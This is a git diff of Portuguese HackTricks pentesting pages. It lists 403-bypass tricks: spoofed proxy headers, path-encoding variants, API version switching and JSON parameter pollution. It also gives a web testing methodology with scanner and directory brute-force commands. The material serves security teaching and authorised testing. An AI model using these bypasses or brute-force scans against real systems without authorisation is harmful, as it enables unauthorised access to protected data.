* **Fuzz de Cabeçalhos HTTP**: Tente usar **Cabeçalhos de Proxy HTTP**, Autenticação HTTP Básica e força bruta NTLM (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
* `X-Forwarded-For: 127.0.0.1`
|
||||
|
@ -48,52 +48,52 @@ Tente usar **diferentes verbos** para acessar o arquivo: `GET, HEAD, POST, PUT,
|
|||
* `X-ProxyUser-Ip: 127.0.0.1`
|
||||
* `Host: localhost`
|
||||
|
||||
Se o **caminho estiver protegido**, você pode tentar contornar a proteção do caminho usando esses outros cabeçalhos:
|
||||
Se o **caminho estiver protegido**, você pode tentar ignorar a proteção do caminho usando esses outros cabeçalhos:
|
||||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* Se a página estiver **atrás de um proxy**, talvez seja o proxy que esteja impedindo você de acessar as informações privadas. Tente abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ou** [**cabeçalhos hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz de [**cabeçalhos HTTP especiais**](special-http-headers.md) procurando por respostas diferentes.
|
||||
* **Fuzz de cabeçalhos HTTP especiais** enquanto faz fuzzing de **Métodos HTTP**.
|
||||
* **Remova o cabeçalho Host** e talvez consiga contornar a proteção.
|
||||
* **Fuzz de cabeçalhos HTTP especiais** enquanto faz o fuzzing de **Métodos HTTP**.
|
||||
* **Remova o cabeçalho Host** e talvez consiga ignorar a proteção.
|
||||
|
||||
## Fuzzing de Caminho
|
||||
|
||||
Se _/caminho_ estiver bloqueado:
|
||||
|
||||
* Tente usar _**/**_**%2e/caminho \_(se o acesso estiver bloqueado por um proxy, isso poderia contornar a proteção). Tente também**\_\*\* /%252e\*\*/caminho (codificação de URL dupla)
|
||||
* Tente **bypass Unicode**: _/**%ef%bc%8f**caminho_ (Os caracteres codificados em URL são como "/") então, quando decodificados novamente, será _//caminho_ e talvez você já tenha contornado a verificação de nome _/caminho_
|
||||
* Tente usar _**/**_**%2e/caminho \_(se o acesso for bloqueado por um proxy, isso pode ignorar a proteção). Tente também**\_\*\* /%252e\*\*/caminho (codificação de URL dupla)
|
||||
* Tente **ignorar Unicode**: _/**%ef%bc%8f**caminho_ (Os caracteres codificados em URL são como "/") então, quando decodificados novamente, será _//caminho_ e talvez você já tenha ignorado a verificação de nome _/caminho_
|
||||
* **Outros bypasses de caminho**:
|
||||
* site.com/secreto –> HTTP 403 Proibido
|
||||
* site.com/SECRETO –> HTTP 200 OK
|
||||
* site.com/secreto/ –> HTTP 200 OK
|
||||
* site.com/secreto/. –> HTTP 200 OK
|
||||
* site.com//secreto// –> HTTP 200 OK
|
||||
* site.com/./secreto/.. –> HTTP 200 OK
|
||||
* site.com/;/secreto –> HTTP 200 OK
|
||||
* site.com/.;/secreto –> HTTP 200 OK
|
||||
* site.com//;//secreto –> HTTP 200 OK
|
||||
* site.com/secreto.json –> HTTP 200 OK (ruby)
|
||||
* site.com/secret –> HTTP 403 Proibido
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
* site.com/secret/ –> HTTP 200 OK
|
||||
* site.com/secret/. –> HTTP 200 OK
|
||||
* site.com//secret// –> HTTP 200 OK
|
||||
* site.com/./secret/.. –> HTTP 200 OK
|
||||
* site.com/;/secret –> HTTP 200 OK
|
||||
* site.com/.;/secret –> HTTP 200 OK
|
||||
* site.com//;//secret –> HTTP 200 OK
|
||||
* site.com/secret.json –> HTTP 200 OK (ruby)
|
||||
* Use toda [**esta lista**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) nas seguintes situações:
|
||||
* /FUZZsecreto
|
||||
* /FUZZ/secreto
|
||||
* /secretoFUZZ
|
||||
* /FUZZsecret
|
||||
* /FUZZ/secret
|
||||
* /secretFUZZ
|
||||
* **Outros bypasses de API:**
|
||||
* /v3/dados_usuários/1234 --> 403 Proibido
|
||||
* /v1/dados_usuários/1234 --> 200 OK
|
||||
* /v3/users\_data/1234 --> 403 Proibido
|
||||
* /v1/users\_data/1234 --> 200 OK
|
||||
* {“id”:111} --> 401 Não autorizado
|
||||
* {“id”:\[111]} --> 200 OK
|
||||
* {“id”:111} --> 401 Não autorizado
|
||||
* {“id”:{“id”:111\}} --> 200 OK
|
||||
* {"user_id":"\<id_legítimo>","user_id":"\<id_vítima>"} (Poluição de Parâmetros JSON)
|
||||
* user_id=ID_DO_ATACANTE\&user_id=ID_DA_VÍTIMA (Poluição de Parâmetros)
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Poluição de Parâmetros JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Poluição de Parâmetros)
|
||||
## **Manipulação de Parâmetros**
|
||||
|
||||
* Alterar o **valor do parâmetro**: De **`id=123` --> `id=124`**
|
||||
* Adicionar parâmetros adicionais à URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
* Remover os parâmetros
|
||||
* Reordenar os parâmetros
|
||||
* Usar caracteres especiais.
|
||||
* Utilizar caracteres especiais.
|
||||
* Realizar testes de limite nos parâmetros — fornecer valores como _-234_ ou _0_ ou _99999999_ (apenas alguns valores de exemplo).
|
||||
|
||||
## **Versão do Protocolo**
|
||||
|
@ -103,7 +103,7 @@ Se estiver usando HTTP/1.1, **tente usar 1.0** ou até mesmo teste se **suporta
|
|||
## **Outras Formas de Bypass**
|
||||
|
||||
* Obter o **IP** ou **CNAME** do domínio e tentar **contatá-lo diretamente**.
|
||||
* Tente **sobrecarregar o servidor** enviando solicitações GET comuns ([Funcionou para este cara com o Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* Tente **sobrecarregar o servidor** enviando solicitações GET comuns ([Funcionou para este indivíduo com o Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* **Alterar o protocolo**: de http para https, ou de https para http
|
||||
* Acesse [**https://archive.org/web/**](https://archive.org/web/) e verifique se no passado esse arquivo estava **acessível mundialmente**.
|
||||
|
||||
|
@ -133,7 +133,7 @@ guest guest
|
|||
* [Extensão Burp - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||||
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -141,7 +141,7 @@ guest guest
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
@ -149,6 +149,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -45,16 +45,16 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
> Nesta metodologia, vamos supor que você está atacando um domínio (ou subdomínio) e apenas isso. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com um servidor web indeterminado dentro do escopo.
|
||||
|
||||
* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para lembrar durante o resto do teste se conseguir identificar com sucesso a tecnologia.
|
||||
* [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se conseguir identificar com sucesso a tecnologia.
|
||||
* [ ] Alguma **vulnerabilidade conhecida** da versão da tecnologia?
|
||||
* [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informações?
|
||||
* [ ] Algum **scanner especializado** para executar (como wpscan)?
|
||||
* [ ] Inicie os **scanners de propósitos gerais**. Nunca se sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
|
||||
* [ ] Inicie os **scanners de propósitos gerais**. Você nunca sabe se eles vão encontrar algo ou se vão encontrar alguma informação interessante.
|
||||
* [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **verificação SSL/TLS** (se HTTPS).
|
||||
* [ ] Inicie o **spidering** da página web: É hora de **encontrar** todos os **arquivos, pastas** e **parâmetros possíveis** sendo usados. Além disso, verifique **descobertas especiais**.
|
||||
* [ ] _Observe que sempre que um novo diretório é descoberto durante brute-forcing ou spidering, ele deve ser spidered._
|
||||
* [ ] **Brute-Forcing de Diretórios**: Tente forçar bruta todos os diretórios descobertos procurando novos **arquivos** e **diretórios**.
|
||||
* [ ] _Observe que sempre que um novo diretório é descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
|
||||
* [ ] _Observe que sempre que um novo diretório é descoberto durante brute-forcing ou spidering, ele deve ser forçado bruta._
|
||||
* [ ] **Verificação de Backups**: Teste se consegue encontrar **backups** dos **arquivos descobertos** anexando extensões de backup comuns.
|
||||
* [ ] **Brute-Force de Parâmetros**: Tente **encontrar parâmetros ocultos**.
|
||||
* [ ] Depois de ter **identificado** todos os **endpoints possíveis** que aceitam **entrada do usuário**, verifique todos os tipos de **vulnerabilidades** relacionadas a isso.
|
||||
|
@ -64,7 +64,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
### Identificar
|
||||
|
||||
Verifique se existem **vulnerabilidades conhecidas** para a **versão do servidor** que está em execução.\
|
||||
Verifique se existem **vulnerabilidades conhecidas** para a versão do servidor que está em execução.\
|
||||
Os **cabeçalhos HTTP e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. A varredura **Nmap** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
|
@ -89,12 +89,12 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
|
|||
* [**Artifactory**](artifactory-hacking-guide.md)
|
||||
* [**Buckets**](buckets/)
|
||||
* [**CGI**](cgi.md)
|
||||
* [**Drupal**](drupal.md)
|
||||
* [**Drupal**](drupal/)
|
||||
* [**Flask**](flask.md)
|
||||
* [**Git**](git.md)
|
||||
* [**Golang**](golang.md)
|
||||
* [**GraphQL**](graphql.md)
|
||||
* [**H2 - Banco de dados SQL Java**](h2-java-sql-database.md)
|
||||
* [**H2 - Banco de dados Java SQL**](h2-java-sql-database.md)
|
||||
* [**Truques do IIS**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
||||
|
@ -123,7 +123,7 @@ Se a aplicação web estiver usando alguma **tecnologia/plataforma conhecida lis
|
|||
|
||||
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar um **teste White box** da aplicação por conta própria, há **algumas informações** que podem ser **úteis** para o atual **teste Black-Box**:
|
||||
|
||||
* Existe um arquivo de **Change-log ou Readme ou Version** ou qualquer coisa com **informações de versão acessíveis** via web?
|
||||
* Existe um arquivo de **Change-log ou Readme ou Versão** ou qualquer coisa com **informações de versão acessíveis** via web?
|
||||
* Como e onde estão salvadas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)?
|
||||
* As **senhas** estão em **texto simples**, **criptografadas** ou qual algoritmo de **hashing** é usado?
|
||||
* Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
|
||||
|
@ -152,11 +152,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
|
||||
Se um CMS for usado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
|
||||
|
||||
- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** websites para problemas de segurança. (GUI)\
|
||||
- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md)\
|
||||
- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** websites para problemas de segurança. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ou** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
|
@ -187,11 +187,11 @@ Os servidores web podem **comportar-se de forma inesperada** quando dados estran
|
|||
* Acesse **páginas falsas** como /qualquer\_falso.php (.aspx,.html,.etc)
|
||||
* Adicione "\[]", "]]" e "\[\[" nos valores de **cookie** e nos valores de **parâmetro** para criar erros
|
||||
* Gere erro fornecendo entrada como **`/~coisarandom/%s`** no **final** da **URL**
|
||||
* Tente **diferentes Verbos HTTP** como PATCH, DEBUG ou incorretos como FAKE
|
||||
* Experimente **diferentes Verbos HTTP** como PATCH, DEBUG ou incorretos como FAKE
|
||||
|
||||
#### **Verifique se é possível fazer upload de arquivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Se você descobrir que o **WebDav** está **habilitado** mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
|
||||
Se você descobrir que o **WebDav** está **habilitado**, mas não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
|
||||
|
||||
* **Força Bruta** de credenciais
|
||||
* **Faça upload de arquivos** via WebDav para o **restante** das **pastas encontradas** dentro da página da web. Você pode ter permissões para fazer upload de arquivos em outras pastas.
|
||||
|
@ -201,7 +201,7 @@ Se você descobrir que o **WebDav** está **habilitado** mas não tem permissõe
|
|||
* Se a aplicação **não estiver forçando o uso de HTTPS** em nenhuma parte, então está **vulnerável a MitM**
|
||||
* Se a aplicação estiver **enviando dados sensíveis (senhas) usando HTTP**. Então é uma vulnerabilidade alta.
|
||||
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (Em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reavaliar as vulnerabilidades:
|
||||
Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (em programas de Bug Bounty, provavelmente esses tipos de vulnerabilidades não serão aceitos) e use [**a2sv** ](https://github.com/hahwul/a2sv) para reavaliar as vulnerabilidades:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -210,6 +210,11 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vu
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Informações sobre vulnerabilidades do SSL/TLS:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
|
||||
Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o máximo de caminhos possível** na aplicação testada. Portanto, a rastreabilidade da web e fontes externas devem ser usadas para encontrar o máximo de caminhos válidos possível.
|
||||
|
@ -217,31 +222,31 @@ Inicie algum tipo de **spider** na web. O objetivo do spider é **encontrar o m
|
|||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder em arquivos JS e fontes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HTML, com LinkFinder para arquivos JS e Archive.org como fonte externa.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, também indica "arquivos suculentos".
|
||||
* [**evine**](https://github.com/saeeddhqan/evine) (go): Spider HTML interativo com CLI. Também pesquisa no Archive.org.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interativo com CLI. Também pesquisa no Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Esta ferramenta não é um spider, mas pode ser útil. Você pode indicar um arquivo com hosts e um arquivo com caminhos e o meg buscará cada caminho em cada host e salvará a resposta.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML com capacidades de renderização JS. No entanto, parece estar desatualizado, a versão pré-compilada é antiga e o código atual não compila.
|
||||
* [**gau**](https://github.com/lc/gau) (go): Spider HTML que usa provedores externos (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs com parâmetros e as listará.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML com capacidades de renderização JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, com capacidades de embelezamento JS capaz de buscar novos caminhos em arquivos JS. Também vale a pena dar uma olhada no [JSScanner](https://github.com/dark-warlord14/JSScanner), que é um wrapper do LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes vermelhas e ninjas de segurança da informação.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extrair endpoints tanto na fonte HTML quanto em arquivos javascript incorporados. Útil para caçadores de bugs, equipes de red team, ninjas de segurança da informação.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Um script python 2.7 usando Tornado e JSBeautifier para analisar URLs relativas de arquivos JavaScript. Útil para descobrir facilmente solicitações AJAX. Parece estar desatualizado.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado um arquivo (HTML), ele extrairá URLs dele usando uma expressão regular engenhosa para encontrar e extrair os URLs relativos de arquivos feios (minify).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, várias ferramentas): Reúna informações interessantes de arquivos JS usando várias ferramentas.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Encontre arquivos JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todas as URLs carregadas para carregar a página.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo que mistura várias opções das ferramentas anteriores.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carregue uma página em um navegador sem cabeça e imprima todos os URLs carregados para carregar a página.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Ferramenta de descoberta de conteúdo que combina várias opções das ferramentas anteriores.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Uma extensão do Burp para encontrar caminhos e parâmetros em arquivos JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uma ferramenta que, dado o URL .js.map, fornecerá o código JS beatificado.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta é uma ferramenta usada para descobrir endpoints para um determinado alvo.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore): Descubra links da máquina wayback (também baixando as respostas na wayback e procurando mais links).
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubra links do wayback machine (também baixando as respostas no wayback e procurando mais links).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastreie (mesmo preenchendo formulários) e também encontre informações sensíveis usando regex específicas.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança na web com GUI multi-recursos projetado para profissionais de segurança cibernética.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código-fonte JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples extensão do **Burp Suite** para **extrair os parâmetros e endpoints** da solicitação para criar uma lista de palavras personalizada para fuzzing e enumeração.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite é um avançado Crawler/Spider de segurança web GUI multi-feature projetado para profissionais de segurança cibernética.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): É um pacote Go e [ferramenta de linha de comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extrair URLs, caminhos, segredos e outros dados interessantes do código fonte JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge é uma simples **extensão do Burp Suite** para **extrair os parâmetros e endpoints** da solicitação para criar uma lista de palavras personalizada para fuzzing e enumeração.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Ferramenta incrível para isso.
|
||||
|
||||
### Brute Force de diretórios e arquivos
|
||||
### Força Bruta em diretórios e arquivos
|
||||
|
||||
Inicie a **força bruta** a partir da pasta raiz e certifique-se de forçar **todos** os **diretórios encontrados** usando **este método** e todos os diretórios **descobertos** pelo **Spidering** (você pode fazer essa força bruta de forma **recursiva** e acrescentar no início da lista de palavras usada os nomes dos diretórios encontrados).\
|
||||
Ferramentas:
|
||||
|
@ -252,15 +257,15 @@ Ferramentas:
|
|||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rápido, suporta pesquisa recursiva.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Rápido: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Isso não é um spider, mas uma ferramenta que, dada a lista de URLs encontradas, irá excluir URLs "duplicadas".
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Isso não é um spider, mas uma ferramenta que, dada a lista de URLs encontrados, irá excluir URLs "duplicados".
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Extensão do Burp para criar uma lista de diretórios do histórico do burp de diferentes páginas.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remova URLs com funcionalidades duplicadas (com base em importações de js).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Ele usa o wapalyzer para detectar tecnologias usadas e selecionar as listas de palavras a serem usadas.
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer para detectar tecnologias usadas e selecionar as listas de palavras a serem usadas.
|
||||
|
||||
**Dicionários recomendados:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* Dicionário incluído no **Dirsearch**.
|
||||
* Dicionário incluído no **Dirsearch**
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Listas de palavras da Assetnote](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
|
@ -282,7 +287,7 @@ _Observe que sempre que um novo diretório for descoberto durante a força bruta
|
|||
|
||||
* [**Verificador de links quebrados**](https://github.com/stevenvachon/broken-link-checker): Encontre links quebrados dentro de HTMLs que podem ser propensos a tomadas de controle
|
||||
* **Backups de arquivos**: Depois de encontrar todos os arquivos, procure por backups de todos os arquivos executáveis ("_.php_", "_.aspx_"...). Variações comuns para nomear um backup são: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Você também pode usar a ferramenta [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Descobrir novos parâmetros**: Você pode usar ferramentas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descobrir parâmetros ocultos. Se possível, tente procurar** parâmetros ocultos em cada arquivo web executável.
|
